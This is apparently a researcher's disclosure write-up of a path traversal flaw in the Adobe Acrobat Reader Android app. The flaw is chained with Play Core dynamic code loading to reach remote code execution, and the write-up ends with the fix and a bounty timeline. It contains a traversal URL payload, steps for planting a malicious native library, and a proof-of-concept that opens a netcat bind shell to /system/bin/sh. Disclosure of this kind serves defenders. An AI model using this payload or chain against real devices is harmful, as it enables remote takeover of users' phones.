参考链接

Summary

While testing Adobe Acrobat reader app , the app has a feature which allows user to open pdfs directly from http/https url. This feature was vulnerable to path traversal vulnerability. Abode reader was also using Google play core library for dynamic code loading. using path traversal bug and dynamic code loading,i was able to acheive remote code execution.

Finding Path traversal vulnerability

  1.     <activity android:theme="@style/Theme_Virgo_SplashScreen" android:name="com.adobe.reader.AdobeReader" android:exported="true" android:launchMode="singleTask" android:screenOrientation="user" android:configChanges="keyboardHidden|screenLayout|screenSize|smallestScreenSize" android:noHistory="false" android:resizeableActivity="true">
  2.         <intent-filter>
  3.             <action android:name="android.intent.action.VIEW"/>
  4.             <action android:name="android.intent.action.EDIT"/>
  5.             <category android:name="android.intent.category.DEFAULT"/>
  6.             <category android:name="android.intent.category.BROWSABLE"/>
  7.             <data android:scheme="file"/>
  8.             <data android:scheme="content"/>
  9.             <data android:scheme="http"/>
  10.             <data android:scheme="https"/>
  11.             <data android:mimeType="application/pdf"/>
  12.         </intent-filter>

There is this intent-filter in the app which shows it will accept http/https url scheme and mimeType should be application/pdf for this actiivity.

When an intent with data url for example http://localhost/test.pdf is sent to adobe reader app,it downloads the file in /sdcard/Downloads/Adobe Acrobat folder with filename as LastPathSegment(i.e test.pdf) of the sent url.

Activity com.adobe.reader.AdobeReader receives the intent and starts ARFileURLDownloadActivity activity.

public void handleIntent() {
Intent intent2 = new Intent(this, ARFileURLDownloadActivity.class);
intent2.putExtra(ARFileTransferActivity.FILE_PATH_KEY, intent.getData());
intent2.putExtra(ARFileTransferActivity.FILE_MIME_TYPE, intent.getType());
startActivity(intent2);
}
This activity ARFileURLDownloadActivitystarts com.adobe.reader.misc.ARFileURLDownloadService service.

public void onMAMCreate(Bundle bundle) {
super.onMAMCreate(bundle);
this.mServiceIntent = new Intent(this, ARFileURLDownloadService.class);
Bundle bundle2 = new Bundle();
//…//
this.mServiceIntent.putExtras(bundle2);
startService();
}
In com.adobe.reader.misc.ARFileURLDownloadService.java

public int onMAMStartCommand(Intent intent, int i, int i2) {
Bundle extras = intent.getExtras();
//..//
String string = extras.getString(ARFileTransferActivity.FILE_MIME_TYPE, null);
ARURLFileDownloadAsyncTask aRURLFileDownloadAsyncTask = new ARURLFileDownloadAsyncTask(ARApp.getInstance(), (Uri) extras.getParcelable(ARFileTransferActivity.FILE_PATH_KEY), (String) extras.getCharSequence(ARFileTransferActivity.FILE_ID_KEY), true, string);
this.mURLFileDownloadAsyncTask = aRURLFileDownloadAsyncTask;
aRURLFileDownloadAsyncTask.taskExecute(new Void[0]);
return 2;
}
In com.adobe.reader.misc.ARURLFileDownloadAsyncTask.java

  1. private void downloadFile() throws IOException, SVFileDownloadException {
  2.     Exception exc;
  3.     boolean z;
  4.     Throwable th;
  5.     boolean z2;
  6.     Uri fileURI = this.mDownloadModel.getFileURI();
  7.     URL url = new URL(fileURI.toString());
  8.     try {
  9.         String downloadFile = new ARFileFromURLDownloader(new ARFileFromURLDownloader.DownloadUrlListener() {
  10.            ARFileFromURLDownloader.DownloadUrlListener
  11.             public void onProgressUpdate(int i, int i2) {
  12.                 ARURLFileDownloadAsyncTask.this.broadcastUpdate(0, i, i2);
  13.             }
  15.             @Override // com.adobe.reader.misc.ARFileFromURLDownloader.DownloadUrlListener
  16.             public boolean shouldCancelDownload() {
  17.                 return ARURLFileDownloadAsyncTask.this.isCancelled();
  18.             }
  19.         }).downloadFile(BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData(fileURI.getLastPathSegment(), this.mDownloadModel.getMimeType(), null, fileURI), url);
  20.         //...//

This method BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData takes this.mUri.getLastPathSegment() as argument and which returns the decoded last segment in the path of the url.

For example let take this url https://localhost/x/..%2F..%2Ffile.pdf so when this url is passed to getLastPathSegment() method it will take ..%2F..%2Ffile.pdf as last segment of the url and will return ../../file.pdf as output.

There was not any sanitization performed in downloadFile variable before passing it into File instance which resulted into path traversal vulnerability.

Getting RCE

Adobe Acrobat Reader app was using Google play core library to provide additional feature on the go to its users.

A simple way to know whether an app is using play core library for dynamic code loading is to check for spiltcompat directory in /data/data/:application_id/files/ directory.

Using path traversal bug i can write an arbitrary apk in /data/data/com.adobe.reader/files/splitcompat/1921618197/verified-splits/ directory of the app.The classes from the attacker’s apk would automatically be added to the ClassLoader of the app and malicious code will be executed when called from the app. For more detailed explanation read this article

Adobe reader app also downloads an module name FASOpenCVDF.apk during runtime of app. The plan was to overwrite this file and acheive code execution remotely, but this was not possible. The issue was with this path traversal vulnerability i could not write over existing files… only create new files.

I was stuck at this stage for a long time finding a way to gain code execution remotely without installing an additional apk. After analysing other apps using play core library installed on my device, i saw play core library also provide feature of loading native code(.so files) from /data/data/com.adobe.reader/files/splitcompat/:id/native-libraries/ directory.

FASOpenCVDF.apk module was also loading an native library from /data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a directory. I decided to take a look into FASOpenCVDF.apk source code and there i founded this module is also trying to load three unavailable libraries libADCComponent.so,libColoradoMobile.so and libopencv_info.so and this solved my issue of executing code remotely.

I created a simple poc native library , renamed it to libopencv_info.so and dropped it in /data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a directory, and from next launch whenever fill and sign feature would be used, the malicious code will be executed.

Proof of Concept

JNIEXPORT jint JNIOnLoad(JavaVM vm, void_ reserved) {

  1. if (fork() == 0) {
  2.     system("toybox nc -p 6666 -L /system/bin/sh -l");
  3. }
  4. JNIEnv* env;
  5. if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
  6.     return JNI_ERR;
  7. }
  8. return JNI_VERSION_1_6;

}

Vulnerability Fix !

In com.adobe.libs.buildingblocks.utils.BBIntentUtils.java

private static final String FILENAME_RESERVED_CHARACTER = “[*/|?<>”]”;
public static String getModifiedFileNameWithExtensionUsingIntentData(String str, String str2, ContentResolver contentResolver, Uri uri) {
if (TextUtils.isEmpty(str)) {
str = BBConstants.DOWNLOAD_FILE_NAME;
}
String str3 = null;
if (!(contentResolver == null || uri == null)) {
str3 = MAMContentResolverManagement.getType(contentResolver, uri);
}
String str4 = !TextUtils.isEmpty(str3) ? str3 : str2;
if (!TextUtils.isEmpty(str4)) {
String fileExtensionFromMimeType = BBFileUtils.getFileExtensionFromMimeType(str4);
if (!TextUtils.isEmpty(fileExtensionFromMimeType)) {
if (str.lastIndexOf(46) == -1) {
str = str + ‘.’ + fileExtensionFromMimeType;
} else {
String mimeTypeForFile = BBFileUtils.getMimeTypeForFile(str);
if (TextUtils.isEmpty(mimeTypeForFile) || (!TextUtils.equals(mimeTypeForFile, str3) && !TextUtils.equals(mimeTypeForFile, str2))) {
str = str + ‘.’ + fileExtensionFromMimeType;
}
}
}
}
return str.replaceAll(FILE_NAME_RESERVED_CHARACTER, ““);
}
Have a nice day! and if you got any doubt you can contact me on Twitter.

Timeline
Jul 29th,2021 - Reported the vulnerability to adobe
Aug 4th ,2021 - report traiged
Oct 13th,2021 - Vulnerability Fixed
Dec 4th ,2021 - $10000 bounty awarded from GPSRP